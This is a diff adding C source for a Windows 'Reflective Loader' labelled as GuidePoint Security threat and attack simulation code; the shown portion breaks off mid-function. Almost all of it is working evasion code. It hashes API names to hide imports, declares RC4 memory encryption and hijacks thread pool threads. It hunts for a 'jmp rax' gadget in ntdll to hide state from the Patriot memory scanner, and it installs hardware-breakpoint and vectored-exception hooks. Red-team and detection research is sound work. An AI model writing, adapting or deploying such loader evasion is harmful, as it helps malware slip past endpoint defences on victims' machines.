| 1 | + | /** |
| 2 | + | * |
| 3 | + | * Reflective Loader |
| 4 | + | * |
| 5 | + | * GuidePoint Security LLC |
| 6 | + | * |
| 7 | + | * Threat and Attack Simulation |
| 8 | + | * |
| 9 | + | **/ |
| 10 | + | |
| 11 | + | #include "Common.h" |
| 12 | + | |
| 13 | + | #if defined( _WIN64 ) |
| 14 | + | |
| 15 | + | NTSTATUS |
| 16 | + | NTAPI |
| 17 | + | RtlRegisterWaitQueue( |
| 18 | + | _In_ PHANDLE NewTimerQueue |
| 19 | + | ); |
| 20 | + | |
| 21 | + | NTSTATUS |
| 22 | + | NTAPI |
| 23 | + | RtlCopyMappedMemory( |
| 24 | + | _In_ LPVOID Destination, |
| 25 | + | _In_ LPVOID Source, |
| 26 | + | _In_ SIZE_T Length |
| 27 | + | ); |
| 28 | + | |
| 29 | + | typedef struct |
| 30 | + | { |
| 31 | + | DWORD Length; |
| 32 | + | DWORD MaximumLength; |
| 33 | + | PVOID Buffer; |
| 34 | + | } USTRING, *PUSTRING ; |
| 35 | + | |
| 36 | + | typedef struct |
| 37 | + | { |
| 38 | + | PVOID Rsp; |
| 39 | + | PVOID Ev1; |
| 40 | + | PVOID Ev2; |
| 41 | + | } THREAD_PARAM, *PTHREAD_PARAM ; |
| 42 | + | |
| 43 | + | typedef struct |
| 44 | + | { |
| 45 | + | PVOID Thread; |
| 46 | + | PVOID Master; |
| 47 | + | PVOID Slaves; |
| 48 | + | |
| 49 | + | D_API( SwitchToFiber ); |
| 50 | + | } FIBER_PARAM, *PFIBER_PARAM ; |
| 51 | + | |
| 52 | + | typedef struct |
| 53 | + | { |
| 54 | + | PVOID TebInformation; |
| 55 | + | ULONG TebOffset; |
| 56 | + | ULONG BytesToRead; |
| 57 | + | } THREAD_TEB_INFORMATION ; |
| 58 | + | |
| 59 | + | NTSTATUS |
| 60 | + | NTAPI |
| 61 | + | SystemFunction032( |
| 62 | + | _In_ PUSTRING Buffer, |
| 63 | + | _In_ PUSTRING Key |
| 64 | + | ); |
| 65 | + | |
| 66 | + | typedef struct |
| 67 | + | { |
| 68 | + | D_API( SetProcessValidCallTargets ); |
| 69 | + | } CFG_API ; |
| 70 | + | |
| 71 | + | typedef struct |
| 72 | + | { |
| 73 | + | D_API( RtlRemoveVectoredExceptionHandler ); |
| 74 | + | D_API( RtlAddVectoredExceptionHandler ); |
| 75 | + | D_API( RtlRegisterWait ); |
| 76 | + | } HCK_API ; |
| 77 | + | |
| 78 | + | typedef struct |
| 79 | + | { |
| 80 | + | D_API( NtQueryInformationThread ); |
| 81 | + | D_API( LdrGetProcedureAddress ); |
| 82 | + | D_API( NtWaitForSingleObject ); |
| 83 | + | D_API( ConvertThreadToFiber ); |
| 84 | + | D_API( ConvertFiberToThread ); |
| 85 | + | D_API( RtlInitUnicodeString ); |
| 86 | + | D_API( NtSetContextThread ); |
| 87 | + | D_API( NtGetContextThread ); |
| 88 | + | D_API( RtlInitAnsiString ); |
| 89 | + | D_API( NtCreateThreadEx ); |
| 90 | + | D_API( NtSuspendThread ); |
| 91 | + | D_API( RtlAllocateHeap ); |
| 92 | + | D_API( NtResumeThread ); |
| 93 | + | D_API( NtCreateEvent ); |
| 94 | + | D_API( SwitchToFiber ); |
| 95 | + | D_API( LdrUnloadDll ); |
| 96 | + | D_API( RtlFreeHeap ); |
| 97 | + | D_API( CreateFiber ); |
| 98 | + | D_API( DeleteFiber ); |
| 99 | + | D_API( NtSetEvent ); |
| 100 | + | D_API( LdrLoadDll ); |
| 101 | + | D_API( NtClose ); |
| 102 | + | } MIN_API ; |
| 103 | + | |
| 104 | + | typedef struct |
| 105 | + | { |
| 106 | + | D_API( CloseThreadpoolCleanupGroupMembers ); |
| 107 | + | D_API( NtSignalAndWaitForSingleObject ); |
| 108 | + | D_API( CreateThreadpoolCleanupGroup ); |
| 109 | + | D_API( SetThreadpoolThreadMaximum ); |
| 110 | + | D_API( SetThreadpoolThreadMinimum ); |
| 111 | + | D_API( NtQueryInformationThread ); |
| 112 | + | D_API( LdrGetProcedureAddress ); |
| 113 | + | D_API( WaitForSingleObjectEx ); |
| 114 | + | D_API( NtWaitForSingleObject ); |
| 115 | + | D_API( NtQueryVirtualMemory ); |
| 116 | + | D_API( RtlInitUnicodeString ); |
| 117 | + | D_API( RtlCopyMappedMemory ); |
| 118 | + | D_API( NtGetContextThread ); |
| 119 | + | D_API( NtSetContextThread ); |
| 120 | + | D_API( RtlDeregisterWait ); |
| 121 | + | D_API( SystemFunction032 ); |
| 122 | + | D_API( RtlCaptureContext ); |
| 123 | + | D_API( RtlInitAnsiString ); |
| 124 | + | D_API( NtDuplicateObject ); |
| 125 | + | D_API( NtCreateThreadEx ); |
| 126 | + | D_API( CreateThreadpool ); |
| 127 | + | D_API( NtSuspendThread ); |
| 128 | + | D_API( NtGetNextThread ); |
| 129 | + | D_API( CloseThreadpool ); |
| 130 | + | D_API( RtlAllocateHeap ); |
| 131 | + | D_API( VirtualProtect ); |
| 132 | + | D_API( NtResumeThread ); |
| 133 | + | D_API( NtCreateEvent ); |
| 134 | + | D_API( LdrUnloadDll ); |
| 135 | + | D_API( RtlFreeHeap ); |
| 136 | + | D_API( LdrLoadDll ); |
| 137 | + | D_API( NtContinue ); |
| 138 | + | D_API( SetEvent ); |
| 139 | + | D_API( NtClose ); |
| 140 | + | } API ; |
| 141 | + | |
| 142 | + | /* API Hashes */ |
| 143 | + | #define H_API_RTLREMOVEVECTOREDEXCEPTIONHANDLER 0xad1b018e /* RtlRemoveVectoredExceptionHandler */ |
| 144 | + | #define H_API_RTLADDVECTOREDEXCEPTIONHANDLER 0x2df06c89 /* RtlAddVectoredExceptionHandler */ |
| 145 | + | #define H_API_NTSIGNALANDWAITFORSINGLEOBJECT 0x78983aed /* NtSignalAndWaitForSingleObject */ |
| 146 | + | #define H_API_SETPROCESSVALIDCALLTARGETS 0x647d9236 /* SetProcessValidCallTargets */ |
| 147 | + | #define H_API_NTQUERYINFORMATIONTHREAD 0xf5a0461b /* NtQueryInformationThread */ |
| 148 | + | #define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */ |
| 149 | + | #define H_API_NTWAITFORSINGLEOBJECT 0xe8ac0c3c /* NtWaitForSingleObject */ |
| 150 | + | #define H_API_NTQUERYVIRTUALMEMORY 0x10c0e85d /* NtQueryVirtualMemory */ |
| 151 | + | #define H_API_RTLINITUNICODESTRING 0xef52b589 /* RtlInitUnicodeString */ |
| 152 | + | #define H_API_RTLCOPYMAPPEDMEMORY 0x5b56b302 /* RtlCopyMappedMemory */ |
| 153 | + | #define H_API_WAITFORSINGLEOBJECT 0x0df1b3da /* WaitForSingleObject */ |
| 154 | + | #define H_API_NTGETCONTEXTTHREAD 0x6d22f884 /* NtGetContextThread */ |
| 155 | + | #define H_API_NTSETCONTEXTTHREAD 0xffa0bf10 /* NtSetContextThread */ |
| 156 | + | #define H_API_RTLDEREGISTERWAIT 0x961776da /* RtlDeregisterWait */ |
| 157 | + | #define H_API_RTLCAPTURECONTEXT 0xeba8d910 /* RtlCaptureContext */ |
| 158 | + | #define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */ |
| 159 | + | #define H_API_NTDUPLICATEOBJECT 0x4441d859 /* NtDuplicateObject */ |
| 160 | + | #define H_API_NTCREATETHREADEX 0xaf18cfb0 /* NtCreateThreadEx */ |
| 161 | + | #define H_API_RTLREGISTERWAIT 0x600fe691 /* RtlRegisterWait */ |
| 162 | + | #define H_API_NTSUSPENDTHREAD 0xe43d93e1 /* NtSuspendThread */ |
| 163 | + | #define H_API_NTGETNEXTTHREAD 0xa410fb9e /* NtGetNextThread */ |
| 164 | + | #define H_API_RTLALLOCATEHEAP 0x3be94c5a /* RtlAllocateHeap */ |
| 165 | + | #define H_API_NTRESUMETHREAD 0x5a4bc3d0 /* NtResumeThread */ |
| 166 | + | #define H_API_NTCREATEEVENT 0x28d3233d /* NtCreateEvent */ |
| 167 | + | #define H_API_LDRUNLOADDLL 0xd995c1e6 /* LdrUnloadDll */ |
| 168 | + | #define H_API_RTLFREEHEAP 0x73a9e4d7 /* RtlFreeHeap */ |
| 169 | + | #define H_API_NTSETEVENT 0xcb87d8b5 /* NtSetEvent */ |
| 170 | + | #define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */ |
| 171 | + | #define H_API_NTCONTINUE 0xfc3a6c2c /* NtContinue */ |
| 172 | + | #define H_API_SETEVENT 0x9d7ff713 /* SetEvent */ |
| 173 | + | #define H_API_NTCLOSE 0x40d6e69d /* NtClose */ |
| 174 | + | |
| 175 | + | /* LIB Hashes */ |
| 176 | + | #define H_LIB_KERNELBASE 0x03ebb38b /* kernelbase.dll */ |
| 177 | + | #define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ |
| 178 | + | |
| 179 | + | /* STR Hashes */ |
| 180 | + | #define H_STR_TPALLOCWAIT 0x3fc54f89 /* TpAllocWait */ |
| 181 | + | #define H_STR_TEXT 0x0b6ea858 /* .text */ |
| 182 | + | |
| 183 | + | /*! |
| 184 | + | * |
| 185 | + | * Purpose: |
| 186 | + | * |
| 187 | + | * Extracts information about the current thread |
| 188 | + | * and notifies when ready. Does not return, as |
| 189 | + | * the new thread will be manipulated to back to |
| 190 | + | * the new entry. |
| 191 | + | * |
| 192 | + | !*/ |
| 193 | + | static D_SEC( E ) VOID WINAPI ThreadCaptureReturnAddr( _In_ PTHREAD_PARAM Param ) |
| 194 | + | { |
| 195 | + | /* Extract the frame address */ |
| 196 | + | Param->Rsp = C_PTR( U_PTR( __builtin_frame_address( 0 ) ) + sizeof( PVOID ) ); |
| 197 | + | |
| 198 | + | /* Notify we can be modified and wait till we can run the modification */ |
| 199 | + | ( ( __typeof__( NtSignalAndWaitForSingleObject ) * ) PeGetFuncEat( |
| 200 | + | PebGetModule( H_LIB_NTDLL ), H_API_NTSIGNALANDWAITFORSINGLEOBJECT ) )( |
| 201 | + | Param->Ev1, Param->Ev2, FALSE, NULL |
| 202 | + | ); |
| 203 | + | |
| 204 | + | }; |
| 205 | + | |
| 206 | + | /*! |
| 207 | + | * |
| 208 | + | * Purpose: |
| 209 | + | * |
| 210 | + | * Get a handle to the thread pool thread so we can |
| 211 | + | * copy its NT_TIB structure from the leaked RSP |
| 212 | + | * stack pointer. |
| 213 | + | * |
| 214 | + | !*/ |
| 215 | + | static D_SEC( E ) BOOLEAN GetThreadInfoBlockFromStack( _In_ PVOID Address, _Out_ PNT_TIB InfoBlock ) |
| 216 | + | { |
| 217 | + | API Api; |
| 218 | + | NT_TIB Tib; |
| 219 | + | CONTEXT Ctx; |
| 220 | + | CLIENT_ID Cid; |
| 221 | + | THREAD_TEB_INFORMATION Tti; |
| 222 | + | MEMORY_BASIC_INFORMATION Mb1; |
| 223 | + | MEMORY_BASIC_INFORMATION Mb2; |
| 224 | + | |
| 225 | + | BOOLEAN Ret = FALSE; |
| 226 | + | |
| 227 | + | HANDLE Thd = NULL; |
| 228 | + | HANDLE Nxt = NULL; |
| 229 | + | |
| 230 | + | /* Zero out stack structures */ |
| 231 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 232 | + | RtlSecureZeroMemory( &Tib, sizeof( Tib ) ); |
| 233 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 234 | + | RtlSecureZeroMemory( &Cid, sizeof( Cid ) ); |
| 235 | + | RtlSecureZeroMemory( &Tti, sizeof( Tti ) ); |
| 236 | + | RtlSecureZeroMemory( &Mb1, sizeof( Mb1 ) ); |
| 237 | + | RtlSecureZeroMemory( &Mb2, sizeof( Mb2 ) ); |
| 238 | + | |
| 239 | + | Api.NtQueryInformationThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYINFORMATIONTHREAD ); |
| 240 | + | Api.NtQueryVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYVIRTUALMEMORY ); |
| 241 | + | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); |
| 242 | + | Api.NtDuplicateObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTDUPLICATEOBJECT ); |
| 243 | + | Api.NtSuspendThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSUSPENDTHREAD ); |
| 244 | + | Api.NtGetNextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETNEXTTHREAD ); |
| 245 | + | Api.NtResumeThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTRESUMETHREAD ); |
| 246 | + | Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE ); |
| 247 | + | |
| 248 | + | /* Enumerate the entire threads that are available */ |
| 249 | + | while ( NT_SUCCESS( Api.NtGetNextThread( NtCurrentProcess(), Thd, THREAD_ALL_ACCESS, 0, 0, &Nxt ) ) ) { |
| 250 | + | /* Do we have a valid thread? */ |
| 251 | + | if ( Thd != NULL ) { |
| 252 | + | /* Close it! */ |
| 253 | + | Api.NtClose( Thd ); |
| 254 | + | }; |
| 255 | + | /* Move to next thread */ |
| 256 | + | Thd = C_PTR( Nxt ); |
| 257 | + | |
| 258 | + | /* Setup parameters we want to query */ |
| 259 | + | Tti.TebOffset = FIELD_OFFSET( TEB, ClientId ); |
| 260 | + | Tti.BytesToRead = sizeof( CLIENT_ID ); |
| 261 | + | Tti.TebInformation = C_PTR( &Cid ); |
| 262 | + | |
| 263 | + | /* Query Information about the target thread */ |
| 264 | + | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadTebInformation, &Tti, sizeof( Tti ), NULL ) ) ) { |
| 265 | + | /* Does not match our current thread? */ |
| 266 | + | if ( U_PTR( Cid.UniqueThread ) != U_PTR( NtCurrentTeb()->ClientId.UniqueThread ) ) { |
| 267 | + | /* Suspend the current thread */ |
| 268 | + | if ( NT_SUCCESS( Api.NtSuspendThread( Thd, NULL ) ) ) { |
| 269 | + | |
| 270 | + | Ctx.ContextFlags = CONTEXT_FULL; |
| 271 | + | |
| 272 | + | /* Get information about the current thread */ |
| 273 | + | if ( NT_SUCCESS( Api.NtGetContextThread( Thd, &Ctx ) ) ) { |
| 274 | + | /* Query information about the RSP */ |
| 275 | + | if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), Ctx.Rsp, MemoryBasicInformation, &Mb1, sizeof( Mb1 ), NULL ) ) ) { |
| 276 | + | /* Query information about the stack leak */ |
| 277 | + | if ( NT_SUCCESS( Api.NtQueryVirtualMemory( NtCurrentProcess(), Address, MemoryBasicInformation, &Mb2, sizeof( Mb2 ), NULL ) ) ) { |
| 278 | + | /* Query information about the same region */ |
| 279 | + | if ( U_PTR( Mb1.AllocationBase ) == U_PTR( Mb2.AllocationBase ) ) { |
| 280 | + | |
| 281 | + | /* Setup parameters of what we want to query */ |
| 282 | + | Tti.TebOffset = FIELD_OFFSET( TEB, NtTib ); |
| 283 | + | Tti.BytesToRead = sizeof( NT_TIB ); |
| 284 | + | Tti.TebInformation = C_PTR( InfoBlock ); |
| 285 | + | |
| 286 | + | /* Query information about the target thread */ |
| 287 | + | if ( NT_SUCCESS( Api.NtQueryInformationThread( Thd, ThreadTebInformation, &Tti, sizeof( Tti ), NULL ) ) ) { |
| 288 | + | /* Status */ |
| 289 | + | Ret = TRUE ; |
| 290 | + | }; |
| 291 | + | }; |
| 292 | + | }; |
| 293 | + | }; |
| 294 | + | }; |
| 295 | + | /* Resume the current thread */ |
| 296 | + | Api.NtResumeThread( Thd, NULL ); |
| 297 | + | }; |
| 298 | + | }; |
| 299 | + | }; |
| 300 | + | /* Did we read it successfully? */ |
| 301 | + | if ( Ret != FALSE ) { |
| 302 | + | /* Abort! */ |
| 303 | + | break; |
| 304 | + | }; |
| 305 | + | }; |
| 306 | + | /* Close the last reference */ |
| 307 | + | if ( Thd != NULL ) { |
| 308 | + | /* Close the handle! */ |
| 309 | + | Api.NtClose( Thd ); |
| 310 | + | }; |
| 311 | + | |
| 312 | + | /* Zero out stack structures */ |
| 313 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 314 | + | RtlSecureZeroMemory( &Tib, sizeof( Tib ) ); |
| 315 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 316 | + | RtlSecureZeroMemory( &Cid, sizeof( Cid ) ); |
| 317 | + | RtlSecureZeroMemory( &Tti, sizeof( Tti ) ); |
| 318 | + | RtlSecureZeroMemory( &Mb1, sizeof( Mb1 ) ); |
| 319 | + | RtlSecureZeroMemory( &Mb2, sizeof( Mb2 ) ); |
| 320 | + | |
| 321 | + | /* Return */ |
| 322 | + | return Ret; |
| 323 | + | }; |
| 324 | + | |
| 325 | + | /*! |
| 326 | + | * |
| 327 | + | * Purpose: |
| 328 | + | * |
| 329 | + | * Locates a jmp rax 0xFF, 0xE0 gadget in memory. |
| 330 | + | * Used as a means of hiding the CONTEXT structure |
| 331 | + | * from Patriot. |
| 332 | + | * |
| 333 | + | !*/ |
| 334 | + | static D_SEC( E ) PVOID GetJmpRaxTarget( VOID ) |
| 335 | + | { |
| 336 | + | HDE Hde; |
| 337 | + | |
| 338 | + | ULONG Ofs = 0; |
| 339 | + | |
| 340 | + | PBYTE Ptr = NULL; |
| 341 | + | PBYTE Pos = NULL; |
| 342 | + | PIMAGE_DOS_HEADER Dos = NULL; |
| 343 | + | PIMAGE_NT_HEADERS Nth = NULL; |
| 344 | + | PIMAGE_SECTION_HEADER Sec = NULL; |
| 345 | + | |
| 346 | + | /* Zero out stack structures */ |
| 347 | + | RtlSecureZeroMemory( &Hde, sizeof( Hde ) ); |
| 348 | + | |
| 349 | + | Dos = C_PTR( PebGetModule( H_LIB_NTDLL ) ); |
| 350 | + | Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); |
| 351 | + | Sec = IMAGE_FIRST_SECTION( Nth ); |
| 352 | + | |
| 353 | + | /* Enumerate each individual section in memory */ |
| 354 | + | for ( INT Idx = 0; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) { |
| 355 | + | /* Locate the .text section in memory */ |
| 356 | + | if ( HashString( & Sec[ Idx ].Name, 0 ) == H_STR_TEXT ) { |
| 357 | + | |
| 358 | + | Ofs = 0; |
| 359 | + | Pos = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress ); |
| 360 | + | |
| 361 | + | do |
| 362 | + | { |
| 363 | + | /* Attempt to disassemble */ |
| 364 | + | HDE_DISASM( C_PTR( U_PTR( Pos ) + Ofs ), &Hde ); |
| 365 | + | |
| 366 | + | /* Did this fail to disassemble? */ |
| 367 | + | if ( Hde.flags & F_ERROR ) { |
| 368 | + | /* Couldnt decode? Odd: Move up one byte! */ |
| 369 | + | Ofs = Ofs + 1; |
| 370 | + | |
| 371 | + | /* Restart the loop */ |
| 372 | + | continue; |
| 373 | + | }; |
| 374 | + | |
| 375 | + | /* Is the instruction the right size? */ |
| 376 | + | if ( Hde.len == 2 ) { |
| 377 | + | /* Does the instruction match the correct operand etc? */ |
| 378 | + | if ( ( ( PBYTE ) ( C_PTR( U_PTR( Pos ) + Ofs ) ) ) [ 0 ] == 0xFF && ( ( PBYTE )( C_PTR( U_PTR( Pos ) + Ofs ) ) ) [ 1 ] == 0xE0 ) { |
| 379 | + | /* Set the address of the instruction */ |
| 380 | + | Ptr = C_PTR( U_PTR( Pos ) + Ofs ); |
| 381 | + | |
| 382 | + | /* Abort! */ |
| 383 | + | break; |
| 384 | + | }; |
| 385 | + | }; |
| 386 | + | |
| 387 | + | /* Increment to next instruction */ |
| 388 | + | Ofs = Ofs + Hde.len; |
| 389 | + | } while ( Ofs < Sec[ Idx ].SizeOfRawData ); |
| 390 | + | |
| 391 | + | /* Abort! */ |
| 392 | + | break; |
| 393 | + | }; |
| 394 | + | }; |
| 395 | + | |
| 396 | + | /* Zero out stack structures */ |
| 397 | + | RtlSecureZeroMemory( &Hde, sizeof( Hde ) ); |
| 398 | + | |
| 399 | + | /* Return Address */ |
| 400 | + | return C_PTR( Ptr ); |
| 401 | + | }; |
| 402 | + | |
| 403 | + | /*! |
| 404 | + | * |
| 405 | + | * Purpose: |
| 406 | + | * |
| 407 | + | * Enables a debug breakpoint at the specified addr. |
| 408 | + | * Uses DR3 to trigger the breakpoint without issue. |
| 409 | + | * |
| 410 | + | !*/ |
| 411 | + | static D_SEC( E ) NTSTATUS EnableBreakpoint( _In_ PVOID Addr ) |
| 412 | + | { |
| 413 | + | API Api; |
| 414 | + | CONTEXT Ctx; |
| 415 | + | |
| 416 | + | NTSTATUS Nst = 0; |
| 417 | + | ULONG_PTR Bit = 0; |
| 418 | + | ULONG_PTR Msk = 0; |
| 419 | + | |
| 420 | + | /* Zero out stack structures */ |
| 421 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 422 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 423 | + | |
| 424 | + | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); |
| 425 | + | Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD ); |
| 426 | + | |
| 427 | + | Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; |
| 428 | + | |
| 429 | + | if ( NT_SUCCESS( ( Nst = Api.NtGetContextThread( NtCurrentThread(), &Ctx ) ) ) ) { |
| 430 | + | /* Set DR3 to the specified address */ |
| 431 | + | Ctx.Dr3 = U_PTR( Addr ); |
| 432 | + | |
| 433 | + | /* Set DR7 */ |
| 434 | + | Ctx.Dr7 &= ~( 3ULL << ( 16 + 4 * 3 ) ); |
| 435 | + | Ctx.Dr7 &= ~( 3ULL << ( 18 + 4 * 3 ) ); |
| 436 | + | Ctx.Dr7 |= 1ULL << ( 2 * 3 ); |
| 437 | + | |
| 438 | + | Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; |
| 439 | + | Nst = Api.NtSetContextThread( NtCurrentThread(), &Ctx ); |
| 440 | + | }; |
| 441 | + | /* Zero out stack structures */ |
| 442 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 443 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 444 | + | |
| 445 | + | /* Status */ |
| 446 | + | return Nst; |
| 447 | + | }; |
| 448 | + | |
| 449 | + | /*! |
| 450 | + | * |
| 451 | + | * Purpose: |
| 452 | + | * |
| 453 | + | * Disables DR3 debug register |
| 454 | + | * |
| 455 | + | !*/ |
| 456 | + | |
| 457 | + | static D_SEC( E ) NTSTATUS RemoveBreakpoint( _In_ PVOID Addr ) |
| 458 | + | { |
| 459 | + | API Api; |
| 460 | + | CONTEXT Ctx; |
| 461 | + | |
| 462 | + | NTSTATUS Nst = 0; |
| 463 | + | ULONG_PTR Msk = 0; |
| 464 | + | ULONG_PTR Bit = 0; |
| 465 | + | |
| 466 | + | /* Zero out stack structures */ |
| 467 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 468 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 469 | + | |
| 470 | + | Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD ); |
| 471 | + | Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD ); |
| 472 | + | |
| 473 | + | Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; |
| 474 | + | |
| 475 | + | if ( NT_SUCCESS( ( Nst = Api.NtGetContextThread( NtCurrentThread(), &Ctx ) ) ) ) { |
| 476 | + | /* Set DR7 */ |
| 477 | + | Ctx.Dr3 = 0; |
| 478 | + | Ctx.Dr7 &= ~( 1ULL << ( 2 * 3 ) ); |
| 479 | + | |
| 480 | + | Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; |
| 481 | + | Nst = Api.NtSetContextThread( NtCurrentThread(), &Ctx ); |
| 482 | + | }; |
| 483 | + | /* Zero out stack structures */ |
| 484 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 485 | + | RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) ); |
| 486 | + | |
| 487 | + | /* Status */ |
| 488 | + | return Nst; |
| 489 | + | }; |
| 490 | + | |
| 491 | + | /*! |
| 492 | + | * |
| 493 | + | * Purpose: |
| 494 | + | * |
| 495 | + | * Modifies TpAllocWait to use a custom thread pool. Inteded to |
| 496 | + | * act as a hook for the call RtlRegisterWait and redirected to |
| 497 | + | * with a VEH debugger. |
| 498 | + | * |
| 499 | + | !*/ |
| 500 | + | static D_SEC( E ) NTSTATUS NTAPI TpAllocWaitHook( _Out_ PTP_WAIT **Out, _In_ PTP_WAIT_CALLBACK Callback, _Inout_opt_ PVOID Context, _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron ) |
| 501 | + | { |
| 502 | + | PTABLE Tbl = NULL; |
| 503 | + | NTSTATUS Ret = STATUS_UNSUCCESSFUL; |
| 504 | + | |
| 505 | + | /* Get a pointer to Table */ |
| 506 | + | Tbl = C_PTR( G_SYM( Table ) ); |
| 507 | + | |
| 508 | + | /* Remove a breakpoint on the ntdll!TpAllocTimer */ |
| 509 | + | if ( NT_SUCCESS( RemoveBreakpoint( C_PTR( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ) ) ) ) { |
| 510 | + | /* Execute TpAllocTimer and swap CallbackEnviron with a replacement */ |
| 511 | + | Ret = ( ( __typeof__( TpAllocWaitHook ) * ) PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) )( |
| 512 | + | Out, Callback, Context, & Tbl->Table->Debugger.PoolEnv |
| 513 | + | |
| 514 | + | ); |
| 515 | + | }; |
| 516 | + | |
| 517 | + | /* Return */ |
| 518 | + | return Ret; |
| 519 | + | }; |
| 520 | + | |
| 521 | + | /*! |
| 522 | + | * |
| 523 | + | * Purpose: |
| 524 | + | * |
| 525 | + | * Simple VEH-based debugger that will attempt to redirect all |
| 526 | + | * calls to TpAllocWork to a hooked version which will insert |
| 527 | + | * our custom thread pool. |
| 528 | + | * |
| 529 | + | !*/ |
| 530 | + | static D_SEC( E ) LONG WINAPI VehDebugger( _In_ PEXCEPTION_POINTERS ExceptionIf ) |
| 531 | + | { |
| 532 | + | DWORD Ret = EXCEPTION_CONTINUE_SEARCH; |
| 533 | + | PTABLE Tbl = NULL; |
| 534 | + | |
| 535 | + | Tbl = C_PTR( G_SYM( Table ) ); |
| 536 | + | |
| 537 | + | /* Is the thread where our debugger comes from ? */ |
| 538 | + | if ( Tbl->Table->ClientId.UniqueThread == NtCurrentTeb()->ClientId.UniqueThread ) { |
| 539 | + | if ( ExceptionIf->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP ) { |
| 540 | + | if ( U_PTR( ExceptionIf->ExceptionRecord->ExceptionAddress ) == U_PTR( PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_STR_TPALLOCWAIT ) ) ) { |
| 541 | + | /* Redirect TpAllocTimer -> TpAllocTimerHook */ |
| 542 | + | ExceptionIf->ContextRecord->Rip = U_PTR( G_SYM( TpAllocWaitHook ) ); |
| 543 | + | }; |
| 544 | + | /* Notify! */ |
| 545 | + | Ret = EXCEPTION_CONTINUE_EXECUTION; |
| 546 | + | }; |
| 547 | + | }; |
| 548 | + | |
| 549 | + | /* Return */ |
| 550 | + | return Ret; |
| 551 | + | }; |
| 552 | + | |
| 553 | + | /*! |
| 554 | + | * |
| 555 | + | * Purpose: |
| 556 | + | * |
| 557 | + | * Inserts a breakpoint to force RtlRegisterWait |
| 558 | + | * to use our thread pool, then calls the func |
| 559 | + | * as normal. |
| 560 | + | * |
| 561 | + | !*/ |
| 562 | + | static D_SEC( E ) NTSTATUS NTAPI RtlRegisterWaitWrap( |
| 563 | + | _In_ PHANDLE NewWaitObject, |
| 564 | + | _In_ HANDLE Object, |
| 565 | + | _In_ WAITORTIMERCALLBACKFUNC Callback, |
| 566 | + | _In_ PVOID Context, |
| 567 | + | _In_ ULONG Milliseconds, |
| 568 | + | _In_ ULONG Flags |
| 569 | + | ) |
| 570 | + | { |
| 571 | + | HCK_API Api; |
| 572 | + | PVOID Veh = NULL; |
| 573 | + | NTSTATUS Nst = STATUS_UNSUCCESSFUL; |
| 574 | + | |
| 575 | + | /* Zero out stack structures */ |
| 576 | + | RtlSecureZeroMemory( &Api, sizeof( Api ) ); |
| 577 | + | |
| 578 | + | Api.RtlRemoveVectoredExceptionHandler = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLREMOVEVECTOREDEXCEPTIONHANDLER ); |
| 579 | + | Api.RtlAddVectoredExceptionHandler = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLADDVECTOREDEXCEPTIONHANDLER ); |
| 580 | + | Api.RtlRegisterWait = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLREGISTERWAIT ); |
| 581 | + | |
| 582 | + | /* Insert a Vectored Exception Handling callback to act as a hooking debugger */ |
| 583 | + | if ( ( Veh = Api.RtlAddVectoredExceptionHandler( 1, C_PTR( G_SYM( VehDebugger ) ) ) ) != NULL ) { |
| 584 | + | /* Insert a breakpoint into ntdll!TpAllocWait */ |
